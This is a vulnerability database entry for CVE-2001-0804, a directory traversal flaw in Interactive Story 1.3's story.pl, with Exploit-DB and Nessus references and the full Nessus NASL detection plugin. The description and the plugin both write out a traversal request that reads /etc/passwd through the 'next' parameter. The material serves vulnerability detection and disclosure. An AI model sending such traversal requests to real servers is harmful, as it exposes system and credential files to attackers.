Vulnerabilities > CVE-2001-0804 - Unspecified vulnerability in Valerie Mates Interactive Story 1.3

047910
CVSS 0.0 - NONE
Attack vector
UNKNOWN
Attack complexity
UNKNOWN
Privileges required
UNKNOWN
Confidentiality impact
UNKNOWN
Integrity impact
UNKNOWN
Availability impact
UNKNOWN
valerie-mates
nessus
exploit available

Summary

Directory traversal vulnerability in story.pl in Interactive Story 1.3 allows a remote attacker to read arbitrary files via a .. (dot dot) attack on the "next" parameter.

Vulnerable Configurations

Part Description Count
Application
Valerie_Mates
1

Exploit-Db

descriptionInteractive Story 1.3 Directory Traversal Vulnerability. CVE-2001-0804. Remote exploit for cgi platform
idEDB-ID:21008
last seen2016-02-02
modified2001-07-15
published2001-07-15
reporterqDefense
sourcehttps://www.exploit-db.com/download/21008/
titleinteractive story 1.3 - Directory Traversal Vulnerability

Nessus

NASL familyCGI abuses
NASL idSTORY.NASL
descriptionBy requesting : GET /cgi-bin/story.pl?next=../../../file_to_read%00 An attacker may use this flaw to read arbitrary files on this server.
last seen2020-06-01
modified2020-06-02
plugin id10817
published2001-12-03
reporterThis script is Copyright (C) 2001-2018 Alert4Web.com
sourcehttps://www.tenable.com/plugins/nessus/10817
titleInteractive Story story.pl next Parameter Traversal Arbitrary File Access
code
#
# This script was written by Georges Dagousset <[email protected]>
#
# See the Nessus Scripts License for details
#
# Changes by Tenable:
# - Revised plugin title (1/13/2009)
# - Updated to use compat.inc, added CVSS score (11/20/2009)


include("compat.inc");

if(description)
{
 script_id(10817);
 script_bugtraq_id(3028);
 script_version("1.29");
 script_cve_id("CVE-2001-0804");
 script_name(english:"Interactive Story story.pl next Parameter Traversal Arbitrary File Access");

 script_set_attribute(attribute:"synopsis", value:
"It is possible to read arbitrary files on
the remote server." );
 script_set_attribute(attribute:"description", value:
"By requesting :

GET /cgi-bin/story.pl?next=../../../file_to_read%00

An attacker may use this flaw to read arbitrary files on
this server." );
 script_set_attribute(attribute:"solution", value:
"Upgrade story.pl to the latest version (1.4 or later)." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");

 script_set_attribute(attribute:"plugin_publication_date", value: "2001/12/03");
 script_set_attribute(attribute:"vuln_publication_date", value: "2001/07/15");
 script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();


 summary["english"] = "Checks for the presence of /cgi-bin/story.pl";
 script_summary(english:summary["english"]);

 script_category(ACT_GATHER_INFO);

 script_copyright(english:"This script is Copyright (C) 2001-2020 Alert4Web.com");
 family["english"] = "CGI abuses";
 script_family(english:family["english"]);

 script_dependencie("find_service1.nasl", "http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 exit(0);
}

#
# The script code starts here
#

include("http_func.inc");
include("http_keepalive.inc");
include('global_settings.inc');

port = get_http_port(default:80, embedded:TRUE);

if(!get_port_state(port))exit(0);

function check(url)
{
 local_var buf, req;

 req = string(url, "?next=../../../../../etc/passwd%00");
 req = http_get(item:req, port:port);
 buf = http_keepalive_send_recv(port:port, data:req);
 if(buf == NULL)exit(0);
 if(egrep(pattern:"^HTTP/.* 404 .*", string:buf))return(0);
 if(egrep(pattern:".*root:.*:0:[01]:.*", string:buf))
   {
    security_hole(port);
    exit(0);
   }
  
 if ( thorough_tests )
 {
  req = string(url, "?next=about");
  req = http_get(item:req, port:port);
  buf = http_keepalive_send_recv(port:port, data:req);
  if( buf == NULL ) exit(0);
  if (egrep(pattern:"This is version 1\.[0-3] of the story program", string:buf))
   {
    security_hole(port:port);
    exit(0);
   }
 }
}


foreach dir ( cgi_dirs() )
{
check(url:string(dir, "/story.pl"));
#check(url:string(dir, "/story/story.pl"));
}